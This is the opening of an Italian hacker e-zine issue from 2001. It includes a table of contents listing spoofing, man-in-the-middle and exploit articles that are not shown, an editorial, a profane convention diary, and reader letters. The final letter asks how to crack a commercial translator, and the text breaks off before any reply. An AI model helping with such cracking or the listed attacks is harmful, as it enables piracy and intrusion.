::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::,. .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::, r#@@@@@M ,::::. .,:::::::::::@@@::NN:::N:DDD,:::AA::::::::::::::::::::::::: :::::, B@@@@@@@@@@@@ .:, ,H@@@A: .:::::::::@:::@:N:N::N:D:::D:A::A:::::::::::::::::::::::: ::::. @@@, S@@@@@@; ,,;@@@@@@@@@:.:::::::::@:::@:N::N:N:D:::D:AAAA:::::::::::::::::::::::: :::. S@@@. .::, r@@@@@@ ,,.; ;@@@@@@@. ,::::::::@@@::N:::NN:DDDD:A::::A::::::::::::::::::::::: ::: ;@@@@ ::::: #@@@@@ ,,. ;@@@@@@@@ .:::::::::::::::::::::::::::::::::::::::::::::::::::::: ::, @@@@@: .,:::, r@@@@: ,:, @@@@@@@@@, ,::::::::::::::::::::::::::::::::::::::::::::::::::::: ::, @@@@@@ @@@@ .:, #@@@@@@@@@# .::::::::::::::@@@::U:::U::AA:::DDD,::RRR,::::AA:::: ::: 2@@@@@@@G. M@@& ,:. S@@@@@@@@@@@@5 ,::::::::::@:::@:U:::U:A::A::D:::D:R::R:::A::A::: :::. #@@@@@@@@@@@: ,:, .@@@@@@@@@@@@@@@@A ::::::::::@:::@:U:::U:AAAA::D:::D:RRRR:::AAAA::: :::: :@@@@@i .:::: @@@@@@@@@@@@@@@@@@@@@i ,:::::::::@@@:::UUU:A::::A:DDDD::R:::R:A::::A:: :::::, ,::: h@@@@@@@@@@@@@@@@@@@@@@H .::::::::::@::::::::::::::::::::::::::::::::: :::::,. ;3H@@@H, ., @@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::::::::::::::::::::::::::::: :::, r@@@@@@@@@@@@; . @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::://////////////////\\\\\\\\\\\\\\\\:::: ::. #@@; :@@@@@@s .@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,=|IL BATTITO CARDIACO DEL CYBERSPACE|=:: :. @@@ .::, @@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@ .::\\\\\\\\\\\\\\\\\\////////////////:::: : ,@@@M :::::, ,@@@@@ ,, .@@@@@@@@@@@@@@@@@@@@@@@@@X :::::::::::::::::::::::::::::::::::::::: , @@@@@ ,::::: @@@@; ,:: 2@@@@@@@@@@@@@@@@@@@@@@@,H.:::::::::::::::::::::::::::::::::::::::: , @@@@@H r@@@: .:::: i@@@@@@@@@@@@@@@@@@@@@@@3 ::::::::::::::::0::::::@@::::::::::::::: , A@@@@@@3 .@@@, .::::: @@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::N:NN::::::::@:@::::::::::::::: : S@@@@@@@@@@@@ .,::::,, @@@@@@@@@@@@@@@@@@@@@@@@; ::::::::::NN::N::::::@::@::::::::::::::: :: A@r ,,::. @@r .9 @@@@@@@@@@@@@@@@@ ::::::::::N:::N:::::@@@@@@:::::::::::::: :::. H@@@@@@h; @@@@@@@@&.r @@3@@@@@@@@@@@@@@ ,:::::::::N:::N:::::::::@::::::::::::::: :::.@@@@@@@@@@@@@@@@@&: . ;i@@hHi@@@@@@@@@@@@3 ,:::::::::::::::::::::::::::::::::::::: :::. .X@@@@@@@@@@@@@@X. . @@@@@@@@@@@@@@,.::::::::::::::::,,,,:::::::::::::::::: ::::::,,,. :#@@@@@@@@@@@@@@@r rB@@@@@@@@@@,.::::::::::::,. r:,:::::::::::::::::: :::::::::::::,. ;H@@@@@@@@@@@@@@@#r #@@@@@r ,::::::,. 9@@@:,::::::::::::::::::: ::::::::::::::::::,. ;&@@@@@@@@@@@@@@@@G. r@@@@#, ,:::::::::::::::::: ::::::::::::::::::::::::,. .r#@@@@@@@@@@@@@@@@@@@#BM@@@@@@@@@@, ,::::::::::::::::::::: ::::::::::::::::::::::::::::::,. :S#@@@@@@@@@@@@@@@@@&; ,::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::,. .,:::::::::::::::::::::::::::::: +-------------------------------------------------------------------------------+ | ONDAQUADRA #04 - 19/11/2001 | +-------------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +-------------------------------------------------------------------------------+ | ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | | Diritti e doveri dei cittadini: Rapporti civili | | | | Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | INDICE | +-------------------------------------------------------------------------------+ | [L0GiN] | | 0x01 EDiT0RiALE ................................................ [oq ~ staff] | | 0x02 CR0NACHE DA SMAU .......................................... [oq ~ staff] | | 0x03 RETR: LA P0STA Di 0Q ...................................... [oq ~ staff] | | 0x04 ME L'HA DETT0 Mi0 CUGGiN0.................................... [tdi110cv] | +-------------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 P0RTE, MA QUANTE S0N0? ..................................... [TheMRcode] | | 0x06 HACK UNiX SHELL ................................................. [D3FU] | | 0x07 SP00FiNG & HiJACKiNG ...................................... [CityHunter] | | 0x08 iP SP00FiNG ATTACK .............................................. [E4zy] | | 0x09 MAN iN THE MiDDLE ATTACK - Hunt v.1.5 ........................... [E4zy] | +-------------------------------------------------------------------------------+ | [LiNUX] | | 0x0A LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD .............. [xyzzy] | +-------------------------------------------------------------------------------+ | [L'ANG0L0 DEGLi EXPL0iT] | | 0x0B IIS 5.0 PRiNTER 0VERFL0W ............................. [MightyInquisitor]| +-------------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x0C i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX ........................ [shnyper] | +-------------------------------------------------------------------------------+ | [C0DiNG] | | 0x0D C0RS0 Di C [PARTE TERZA] ...................................... [JEYoNE] | | 0x0E iNTR0 ALLE MACR0 (7/8) ........................................ [Mastro] | | 0x0F 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] | +-------------------------------------------------------------------------------+ | [MiSC] | | 0x10 +++ATH0........................................................ [snake_] | | 0x11 TELEF0NARE iN M0D0 AN0NiM0 ............................... [Screener_it] | | 0x12 P0P3 ........................................................ [mR_bIs0n] | | 0x13 SPYWARE AT ALL ...................................... [MightyInquisitor] | | 0x14 TELNET: 0VVER0 BASTA !!!!! ............................... [Screener_it] | | 0x15 DiFENDiAM0 LA NOSTRA PRiVACY ................................ [tdi110cv] | | 0x16 NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME .......................... [tdi110cv] | +-------------------------------------------------------------------------------+ | [LO SCiAMANO] | | 0x17 MY LiTTLE MANiFEST0 ............................................. [case] | | 0x18 L0RD SHiNVA, CHE FiNE HA FATT0 ? ....................... [Xp Terminator] | | 0x19 LEGGE 23 dicembre 1993 n. 547 .......................................... | | Modificazioni ed integrazioni delle norme del codice ................... | | penale e del codice di procedura penale in tema di...................... | | criminalità informatica .................................... [qUiCkSoRt] | | 0x1A SUL KATAKALi .............................................. [il Magnano] | | 0x1B iL TERR0RiSTA SCRiVE A CENSURATi.iT................ [Antonella Serafini] | +-------------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x1C GUiDA SUL MiRC SCRiPTiNG [PARTE SECONDA] ............. [[]_CyBeRPuNK_[]] | | 0x1D ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M ........................ [BiGAlex] | | 0x1E GESTiONE DEi FiLE iN ASSEMBLER ................................. [bondo] | | 0x1F LA DURA ViTA DEi P0STiNi ...................................... [lesion] | | 0x20 GUiDA PRATiCA ALLE REGULAR EXPRESSi0N ......................... [Domin3] | | 0x21 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2 .......... [Zer0] | +-------------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x22 NU0VA TERRA Di CONQUiSTA .................................... [Tritemius]| +-------------------------------------------------------------------------------+ | [C0NTATTi] | | 0x23 D0VE TR0VARCi ............................................. [oq ~ staff] | +-------------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #04 - 19/11/2001 | | EDiT0RiALE [oq ~ staff] 0x01/0x23 | +-------------------------------------------------------------------------------+ |Altro giro, altro regalo! | |Eccoci giunti al quinto numero della rivista, sempre più persone si collegano | |su ondaquadra.cjb.net per scaricare la rivista, altrettante la leggono online, | |o meglio cercano di leggerla, perchè la rivista è rilasciata in formato .txt | |apposta per leggerla comodi comodi sul proprio desktop, e non per leggerla da | |un browser... | |A proposito di questo volevo darvi una bella notizia, non so se per l'uscita | |di questo numero sarà già disponibile, ma presto tutti gli articoli saranno | |online quindi non voglio sentire più nessuno lamentarsi perchè dal web non si | |riesce a leggere o si legge male qualcosa, ok? | |... | |Bene, non risponde nessuno, quindi chi tace acconsente! :P | |Questo numero presenta delle grosse novità, a partire dall'uscita bimestrale, | |che magari a voi sembra poco, ma per noi della redazione è molto lavoro in più.| |Purtroppo il pro di avere un numero ogni due mesi ha anche un contro, cioè che | |il numero degli articoli, come potrete vedere, non è ampio come quello del | |numero scorso. | |In questo numero, tra gli altri articoli volevo segnalare quello di Alexander | |The Great "0S FR0M ZER0 CHAPTER", un articolo davvero scritto bene su come | |progettare e realizzare un sistema operativo partendo da zero. | |Un altro articolo che ormai sembra essere diventato parte della rivista è | |"iNTR0 ALLE MACR0" di Mastro, che dopo averci accompagnato per tre numeri, con | |questo giunge alla fine della sua corsa e ci saluta. | |Sempre nella sezione C0DiNG abbiamo la terza parte del C0RS0 Di C, nel quale | |si parlerà del cosrutto "IF e ELSE" e del costrutto "SWITCH". | |Nella sezione L0 SCiAMAN0 troviamo due articoli, uno è MY LiTTLE MANiFEST0 di | |case, un articolo che parla di etica, e, L0RD SHiNVA, CHE FiNE HA FATT0 di | |XpTerminator che, sempre parlando di etica, va a illustrare le ultime frasi che| |Lord Shinva ha pronunciato prima di sparire, oltre ad alcune considerazioni. | |Ne L'APPRENDiSTA STREG0NE troviamo ben 5 articoli che parlano di svariati | |argomenti, partendo da ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M, che, come dice il| |titolo parla di crittografia, passando per la GESTi0NE DEi FiLE iN ASSEMBLER e | |per la GUiDA PRATiCA ALLE REGULAR EXPRESSi0N, e finendo con LA DURA ViTA DEi | |P0STiNi, un articolo di lesion che spiega come diventare veri e propri postini,| |non quelli con la bicicletta e la borsa con i pacchi ma quelli con una keyboard| |e un programma da configurare. | |Ovviamente non poteva mancare l'appuntamento con GUiDA SUL MiRC SCRiPTiNG, che,| |giunto alla seconda lezione, continua a spiegare come costruirsi uno script per| |chattare in maniera più comoda. | |Nella sezione MiSC abbiamo un articolo che parla di +++ATH0, la famosa stringa | |che "dovrebbe" far andare i modem in hangup, due articoli di Screener_it, uno | |che spiega un'avventura con un telefono e cerca di far rimanere anonimi durante| |una chiamata, l'altro parla del telnet, un articolo very newbies che spiega che| |cos'è questo famoso programma veramente indispensabile. | |Sempre nella sezione MiSC possiamo trovare l'articolo di MightyInquisitor, | |SPYWARE iT ALL, ovvero un testo che cerca di far capire cosa sono e come | |agiscono i famosi "programmi spia" oltre a come rimuoverli. | |Nella sezione LiNUX troviamo il secondo appuntamento con xyzzy, con il suo | |articolo "LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD" mentre in | |"L'ANG0L0 DEGLi EXPL0iT" abbiamo un articolo di MightyInquisitor che parla | |dell'ormai famoso baco di IIS e quello del Tdi110cv che parla del suo solito | |CGI. | |Abbiamo le patate, i peperoni, i pomodori per la salsa signora! (ops, mi sono | |confuso, ma il camion del fruttivendolo ormai mi sta condizionando! :)) | |Abbiamo ancora un sacco di articoli, ma forse e' meglio non perdere tempo | |a leggere questo editoriale e andare a leggervi subito gli articoli che anche | |per questo bimestre ci accompagnano! | |Buona lettura dunque, non mi resta altro che ricordarvi di inserire il vostro | |voto nel sondaggio che abbiamo aperto in home page (http://ondaquadra.cjb.net) | |e di scrivere a mail@ondaquadra.cjb.net se avete qualche domanda da porci (no, | |non da porci inteso come maiali, ma da porci inteso come..vabbè,buona lettura!)| |:) | | JEYoNE | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 | | CR0NACHE DA SMAU [__Wei§§e§__] 0x02/0x23 | +-------------------------------------------------------------------------------+ | | | CRONACHE DA SMAU 2001.... OVVERO: PRONDOOOO CIAO BELLO | | _________________________________________________________________________ | | Data: fra il 22/10/01 Al 29/10/01 | | Ora: se l' ho scritto in vari giorni come faccio a drvi gli orari? | | Luogo: Treno, Casa, Pub, Ospedale! | | Disclaimer: E aCosa Cazzo serve un disclaimer qua? vabbe', se proprio lo | | volete: | | IO NON C'ERO, SE C' ERO DORMIVO E SE DORMIVO NON POTEVO NE SENTIRE NE | | VEDERE, UNA MELA AL GIORNO LEVA IL MEDICO DI TORNO, LA MUCCA FA MUUUU | | E IL MERLO NON FA MEEEE! CONTENTI? | | __________________________________________________________________________ | | | | Prima di iniziare questo articolo che sto' scrivendo sul treno in ritorno | | da milano, volevo salutare il mio grande amico PHOBOS AKA DARKSPARROW AKA | | TRN (in privato ti spieghero' cosa vuol dire trn), che a modo suo e' stato | | ilprotagonista di queste nostre giornate milanesi.....PHOBBINO, non ti | | incazzareche ti ho anche fatto parlare al telefono con una figliola di | | inaudita | | bellezzala scorsa sera, quindi ringraziami (ovviamente dopo che avrai dato | | l' esame :-D..... minchia che bastardo che sono e che vuoi farci AMORE | | MIOOOOO | | io sono fatto cosi'.......PRONDOOOOOOO CIAO BELLOOOOOO! | | | | OK, OK, finiamo di dire stronzate e diciamone delle altre :-D | | come consuetudine vi parlo di quanto e' successo in questi giorni: | | 1) la penosa competenza in materia di noti operatori informatici; | | 2) le gnocche che abbiamo visto in fiera; | | 3) l' alcool che ci siamo ciucciati; | | 4) un lato segreto del tritolo che mi ha lasciato esterefatto; | | 5) ultimo ma non ultimo, anzi primissimo...PHOBOS | | | | Dunque dunque, da dove cominciamo? | | e che ne so io da dove cominciare, intanto parlo e vi dico che: | | LA NUTELLA E' SESSUALMENTE COMPATIBILE! | | | | Allora, quest' anno aprofittando di 4 giorni a mia disposizione, | | ho avuto modo di girare bene rionero.... ehm.. SMAU e poter | | visionare tutte o quasi le nuove tecnologie informatiche, ma | | doveeee? | | Devo dire che la cosa piu' interessante di questa fiera erano le | | standiste, soprattutto quelle di aruba.it e la gnoccona dello stand | | della fuji per il resto niente di nuovo a parte qualche piccolezza | | di relativa importanza! | | entrando a smau, il primo stand che ho visitato e' stato quello di | | una nota ditta produttrice di telefoni cellulari, la quale molto | | cortesemente mi invitava ad aggiornare il software del mio telefono, | | io ovviamente ho accettato e sorpresa delle sorprese l' aggiornamento | | mi ha sputtanato il sistema t9 per editare gli sms, incazzatissimo, | | ho fatto richiesta di riaggioranare o retrocedere l' operazione, a | | sto' punto era meglio, almeno prima tutto funzionava :D | | insomma, ci ho messo mezz' ora per far si che il mio tel tornasse | | a funzionare visto che nessuno degli addetti riusciva a far qualcosa, | | anzi uno di loro addirittura mi invitava a rivolgermi ad un loro point | | esterno.....dico ma siete scemi?! | | Sempre al solito stand, mentre attendevo notavo una cosa troppo | | ridicola, l' azienda in questione, che oltre a produrre cellulari | | produce anche monitor, utilizzava dei monitor che erano anche a | | disposizione del pubblico, di tutt' altra marca coprendone penosamente | | l' etichetta con un adesivo, non ho parole! | | | | Vabbe', risolto cio' il mio giro e' proseguito alla volta del | | padiglione piu' triste della fiera, gia' perche' i signori non | | avevano uno stand, ma un intero padiglione tutto dedicato al loro | | favoloso nuovo sistema operativo, avete capito di chi parlo vero? | | Insomma per quanto riguarda il s.o. in oggetto niente da dire | | per il momento, visto e considerato che lo sto' usando in versione | | beta da 5 mesi a questa parte e non ho ancora trovato un bug serio | | a parte il sistema di messaggistica istantanea, ma mai dire mai, | | a meno che nella loro politica commerciale non abbiano deciso di | | vendere i bug in seguito ad un prezzo irrisorio :-D | | e daiiii, non potevo non esprimere i miei pensieri in merito senza | | scherzarci sopra! | | | | Nel pomeriggio mi ha seguito in fiera il mio fratellone JEYoNE, con | | il quale abbiamo iniziato a cazzeggiare piu' che guardare la fiera. | | | | La serata e' proseguita sui navigli in compagnia di altri due tipi | | che colgo l' occasione di salutare BOMBOLO E ALEX B, con i quali | | abbiamo bevuto una serie di schifosissimi cocktails, eh si, capita | | anche questo, in compenso alle 2:30 JEYoNE ha avuto la mitica idea di | | andare a mangiare le paste calde, quelle si che erano buone, e' stato | | in quel momento, mentre mangiavo un gustoso cornetto alla nutella | | che ho coniato la frase: LA NUTELLA E' SESSUALMENTE COMPATIBILE! | | concordate? anche se non concordate non me fotte un cazzo :-D | | | | L'indomani, in condizioni di coma etilico e sonno mostruoso, mi sono | | rirecato in fiera ed ho rivisto JEYoNE e anche il caro TRITOLO | | (TRITEMIUS n.d.r.), vedendo il mio compagno di bevute trtms era ovvio | | fare come prima tappa una visitina al padiglione piu' serio della fiera, | | quello del bar :-D | | | | Essendo ormai convinti che la fiera era molto relativa (cazzo la pila | | del portatile e' ormai agli sgoccioli) abbiamo preferito girare per | | vedere un po' di gnocca, parlare della nostra creatura OQ e di | | GIOCATTOLINI, si avete capito bene, giocatolini, ma i nostri giocattolini! | | Siamo giunti alla sera e tritolo e' tornato a casa sua, idem io e JEYoNE | | anche se poi ci siamo rivisti dopo, gia', dopo visto che qualcuno si | | e' presentato in via torino con un po' di ritardo (azz. , ma quello ero io!) | | Insomma AMORIIIII MIEI, come direbbe phobos, abbiamo cenato alle 23, | | siamo andati a casa di un amico di jey a vedere un film pallosissimo, che | | dico pallosissimo, di piu', i suoi amici dormivano tutti. | | | | Finita sta' palla, Jey ha deciso di mantenere una promessa che da 2 anni | | non mantiene e mi ha portato a mangiare il panino con la salsiccia alla | | centrale del latte, o fermata della latte come dico io! | | La serata si e' conclusa cosi': JEY CENSURAMI E TI TAGLIO LE PALLE! | | Il caro jey ha accompagnato la donna a casa dicendo che sarebbe rientrato | | entro 10 minuti, dopo un' ora io e un altro povero pirla eravamo soli | | sotto la pioggia ad attendere che il signorino rientrasse, ma poverino | | era li' che subiva le ire della donna incazzata nera. HI HI HI | | Insomma, alle 3:30 sono riuscito ad andare a nanna! | | | | Il giorno dopo, cioe' ieri, cioe' sabato, era il giorno dell' incontro | | totale, ovvero io, jey, tritolo, tdi (portato in fiera con meschino | | inganno da parte mia) e tutto il resto della ciurma di #hackmaniaci | | #ondaquadra e #crack-it, insomma, non tutti ma coloro che hanno chiamato | | all' Oq phone, ovvero il numero di telefono messo a disposizione | | di chi voleva incontrarci, a proposito di cio', mi spiace per il tipo | | che ha chiamato 2 volte e non gli ho risposto, scusa, ma cerca di | | capire, in quel momento ero sulla tazza del cesso e non potevo assolutamente | | risponderti! | | | | Fra gli stand piu' interessanti c' era quello della plextor, i quali | | benche' producano eccellenti masterizzatori, hanno attratto la nostra | | attenzione grazie a dei bellissimi accendini a forma di sigaretta che | | regalavano e che noi abbiamo ovviamente preso in quantitativi industriali! | | | | Durante le giornate di smau io e uno dei miei soci, di cui non cito il nome | | per la sua sicurezza :-) abbiamo stretto una sorta di amicizia e | | tacchinaggio | | con le due standiste della samsung francesca ed elena anche se il tutto si | | e' limitato ad un costante scambio di gadget :-(, vabbe', almeno abbiamo | | avuto | | tutti gadget samsung che nessuno ha avuto! | | | | La mattina di sabato io ero a dormire da jey, alle 9:30, stranamente alle | | sue | | abitudini, e' arrivato tdi puntualissimo e sapete con cosa ha fatto | | colazione? | | caffe' e grappa, io e jey caffe' e sambuca :-) | | partiamo alla volta di smau ed entrando ci assale un forte odore di | | salsiccie, | | cosa volete che facessimo? panino e birra media! | | | | Finito il panino arriva il nostro socio tritolo, anche lui affamato... e | | vabbe' | | lo accontentiamo e ci dirigiamo verso il bar della mitica piazza italia | | dove abbiamo incontrato gli amici di un forum che frequento io, anche li | | abbiamo bevuto un po' di birra giusto per non perdere il vizio, nel | | frattempo | | conoscevamo un po' di belle figliole! | | | | Vabbe', lasciamo gli amici appena incontrati dandoci appuntamento dopo cena | | e proseguiamo il tour, nel frattempo venivamo assaliti da una fortissima | | PHOBBITE, ovvero abbiamo iniziato a parlare come lui, chi non lo ha mai | | sentito | | non sa' cosa perde :-) da quel momento in poi nessuno a smesso di parlare | | cosi' fino alla fine della giornata! | | | | Erano le 18 ed ormai ci eravamo proprio rotti le palle di questo cazzo di | | smau | | ed io ero incazzato nero con l' omnitel che dalle 9 di mattina ancora non | | mi aveva ricaricato il tel.... A quel punto la decisione piu' saggia: | | abbandoniamo la fiera e andiamo verso il duomo a prendere un numero infinito | | di aperitivi, ma la sfiga era con noi, e' venuta giu' una pioggia della | | madonna, svaniva cosi' il progetto "lungo aperitivo", ovviamente cio' non | | andava assolutamente a pregiudicare le nostre intenzioni etiliche, ci siamo | | recati a casa di jey, dove ci siamo consolati a suon di grappa e sambuca! | | Gia' che c'eravamo abbiamo deciso di mandare definitivamente in pensione | | la vecchia caffettiera di jey, un pentium 133 mhz con hard disk modello | | lasagna impazzita, sostituendola con un sicuramente piu' performante | | duron 750 mhz..... cazzarola, mi sono dimenticato di overckloccarlo :-( | | | | L' ora di cena era ormai vicina e jey guardandoci esclama: | | AMORI MIEI BBELLI, DOBBIAMO ANDARE A PRENDERE MARIA E POI A CENA | | (pronunciare in phobbesco) e cosi' abbiam fatto. | | | | Una volta recuperata la donna di jey, mentre eravamo in macchina, tdi parte | | con un' idea: TELEFONIAMO A PHOBOS :-D | | attiviamo il vivavoce e dopo qualche squillo udiamo un portentoso | | PRONDOOOOOO! | | era lui non c'era ombra di dubbio, eravamo tutti sdraiati dalle risate e | | phobbino ci dice: IN QUESCHTI GIORNI MI STATE FACENDO DIRE SEMPRE PRONDOOO, | | PRONDOOO, PRONDOOOO :-D, inutile dire che da quel momento abbiamo parlato | | solo ed esclusivamente in phobbesco! | | | | Giunti al restaurant, affamati come dei peperoni avariati, attendiamo una | | mezz' oretta prima di sederci a tavola. | | All' arrivo della cameriera io con molta disinvoltura le ordino la pizza | | parlando come abatantuono, chissa' perche' e' rimasta un po' esterefatta?! | | ops, sono le 21:30, devo uscire, scusatemi continuo dopo se non sono troppo | | ubriaco! | | | | Riecchime, dunque, eravamo rimasti al restaurant, ok, la cena e' proseguita | | fra pizza vino e tdi che si incazzava con jey perche' gli fumava sul muso | | ogni 5 minuti :D. | | | | Al termine della cena TDI ci abbandona per tornare a casa, noi altri invece, | | rifacciamo tappa sui soliti navigli, in un' altra | | pizzeria, ma no, mica a mangiare, ma a raggiungere altri amici con i quali | | abbiamo preso d' assedio un disco pub sul naviglio opposto, e qui che dire: | | dopo la delusione di giovedi sono riuscito a bere un mojito come Cristo | | comanda, | | insomma, forse piu' di uno :D, il locale era un buco e noi una trentina ma | | mi sono molto divertito, soprattutto quando, inaspettatamente a come lo | | conoscevo | | fino ad allora, ti vedo il tritolo schizzare in pista e ballare come un | | matto... | | MITICOOOOOOOOOOOOO :D alche' lo guardo, gli vado vicino e gli dico: AH | | TRITO', | | MA SEI PROPRIO TU? e lui sotto un sorrisino mi confessa: SOLITAMENTE SONO | | ANCHE | | PEGGIO, COSA CREDEVI? | | insomma, per chi non lo conosce il tritolo e' un tipo tutto d' un pezzo, con | | questo non voglio dire che sia un palloso, anziiiiii, ma in discoteca non ce | | lo | | facevo proprio. | | | | Vabbe', dopo un po' di balli e chiacchiere con chi osava passarmi accanto, | | mi | | sono rirecato al bar con tritolo, alla volta di due kaipiroske alla fragola, | | | | ritiriamo il prodotto ed attendendo l' eventuale resto (a mo' di | | distributore | | di sigarette :D) guardo il barman e con fare phobbesco gli dico: AMOREEE | | MMMIO, | | MA IL RESTO NON ME LO DAI? fino a qui tutto normale, se non fosse che il | | barman | | mi guarda e mi dice anche lui in phobbesco: SI CARO MIO, ASCHPETTA UN | | SECONDO | | CHE TE LO DO! INCREDIBILE PHOBBINO E' CONTAGIOSO AL 100% | | | | La serata volgeva al termine, o meglio se era per me e trit continuava, ma | | jey | | e la sua donna erano stanchi e giustamente (GRRRRRR)bisognava rispettare | | anche | | il loro volere e l' idea del tritolo di dormire su una panchina in stazione | | non | | mi stava affatto a genio..... e vabbe', namosene a casa. | | | | Durante il tragitto io e il tritolo abbiamo dato conferma a 2 progetti che | | ci | | giravano per la testa da qualche giorno, iniziamo con quello piu' sicuro: | | fra poco nascera' e ci stiamo gia' lavorando, una nuova e-zine, non | | aspettatevi | | hacking etc, tutt' altro, ONDAQUAGLIA, questo e'il suo nome, sara' l' esatta | | parodia | | di ONDAQUADRA, tutti gli articoli saranno nettamente insensati ed avremo | | anche un | | forum di discussione con tanto di moderatori :D. | | Perche' la nascita di cio'? bisogna spezzare dalla monotonia di ogni giorno | | ;) | | Il secondo progetto era quello di trasferirsi a milano io e il trit e | | prendere | | una casa in affitto insieme, la cosa grave sarebbe trovare un attimo per il | | lavoro, visto e considerato che il motto di quella casa sarebbe: donne, | | alcool e Pc. | | | | Raga, per ora e' tutto, nei prossimi giorni spero di tirare giu' anche un | | articolo | | serio, cosa che al momento non posso fare visto che mi hanno ricoverato in | | ospedale per mononucleosi.....GRRRRRR | | credo che a questo articolo se ne ggiungera' uno simile di tdi, cosa credete | | che | | anche lui se ne stava buono? :D | | E che non venga fuori che ci siamo copiati gli articoli heeee!? prrrrrrrrrrrr | | Cia' ciao | | __Wei§§e§__ | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 | | RETR - LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 | +-------------------------------------------------------------------------------+ | | | Date Thu, 25 Oct 2001 20:33:56 +0200 | | To | | From lesion | | Subject impaginazione... | | | | [D] | | | | 1)volevo solo kiedere se per le prossime uscite era | | possibile impaginare l'ezine con righe lunghe al max 78 | | chars, come da terminale (max 79 dai...) | | altrimenti come la leggo con less? | | 2)essendo il movimento underground solitamente stakkato | | dalla burocrazia in generale, mi kiedevo il perke' della frase | | ke mettete di default nell'intro dell'ezine ke cita un articolo della | | costituzione... | | io l'avrei evitato...poi, questa e' solo una mia opinione, e | | la ezine, e' "la vostra"..... | | | | | | [R] | | 1) Gia' da questo numero le cose dovrebbero essere migliorate. | | 2) Non e' un articolo a caso della Costituzione, ma e' l'articolo che | | riguarda la liberta' di parola. E' stato inserito dopo l'approvazione | | della legge sull'editoria, legge (a nostro parere) antidemocratica e | | in palese contrasto con lo spirito costituzionale. | | | +----> | | | | Date Sat, 13 Oct 2001 08:26:38 -0000 | | To mail@ondaquadra.cjb.net | | From "edoardo ..." | | Subject Info | | | | [D] | | Ciao ONDAQUADRA ! | | "Grandissimi !" è dire poco... | | Sono un neofita della programmazione. Dopo aver creato piccole e semplici | | applicazioni, sto cercando di approfondire la mia conoscenza andando alla | | scoperta dei segreti dei codici, cercando di trarre le maggiori informazioni | | | | da progetti pubblicati in codice sorgente o, cosa molto più difficoltosa, | | disassemblando applicazioni già compilate. ( grazie per l'attenzione | | dedicata al Visual Basic ). Non ho la cerchia di amici adatta ad | | approfondire certi discorsi e di conseguenza molti problemi rimangono | | irrisolti. Cerco in ONDAQUADRA un amico che mi sveli tutti i segreti dei | | come e perchè. Le domande che vi vorrei porre sono quantitativamente | | infinite, e per questo, se non vi scoccia, vi disturberò ancora, ma il | | progetto che mi assilla ultimamente è : Creare un'applicazione che estragga | | le tracce da CD e dia la possibilità del salvataggio in formato .wav e .mp3 | | e la conversione dei due. Sottolineo il fatto che non so nemmeno da dove | | iniziare, ma la mia attenzione va soprattutto sui CODEC che permettono la | | conversione dei formati. .wav -.mp3, .bmp-.jpg, etc... forme compresse e non | | | | di un file musicale, d'immagine, etc... Qual'è il principio, cosa si va a | | comprimere ? Come ? Ciò riguarda anche il .zip ? Se i codici di | | "trasduzione" sono già belli e pronti, dove è possibile reperirli ? Potete | | fornirmeli voi, possibilmente con relativa spiegazione ? Lo so che sto | | chiedendo tanto e troppo, ma domandare non mi costa niente, l'alternativa | | sarebbe rimanere nell'ignoranza. Spero in un vostro aiuto. | | Vi ringrazio per l'attenzione e per tutto ciò che state facendo. Alla | | prossima... | | | | [R] | | In effetti la richiesta e' un po' impegnativa ! Posso indicarti un sito | | dove reperire un sacco di codice sorgente: www.planetsourcecode.com. | | Un altro sito interessante e' www.programmazione.it. | | Gli altri argomenti ai quali hai accennato potrebbero essere trattati in | | futuro | | su OQ: basta che qualche volontario li scriva: cosi' funziona OQ... | | | +----> | | | | Date Sat, 06 Oct 2001 11:44:25 +0200 | | To | | From "Boss74" | | Subject Come Cav si fa per...... | | | | [D] | | Avrei la necessità di craccare un traduttore che si installa sotto | | word e che è molto bello. | | ho provato a smanettarci un po con disassembler ed hex editor ma non | | sono riuscito nell'opera. Il software si trova a | | 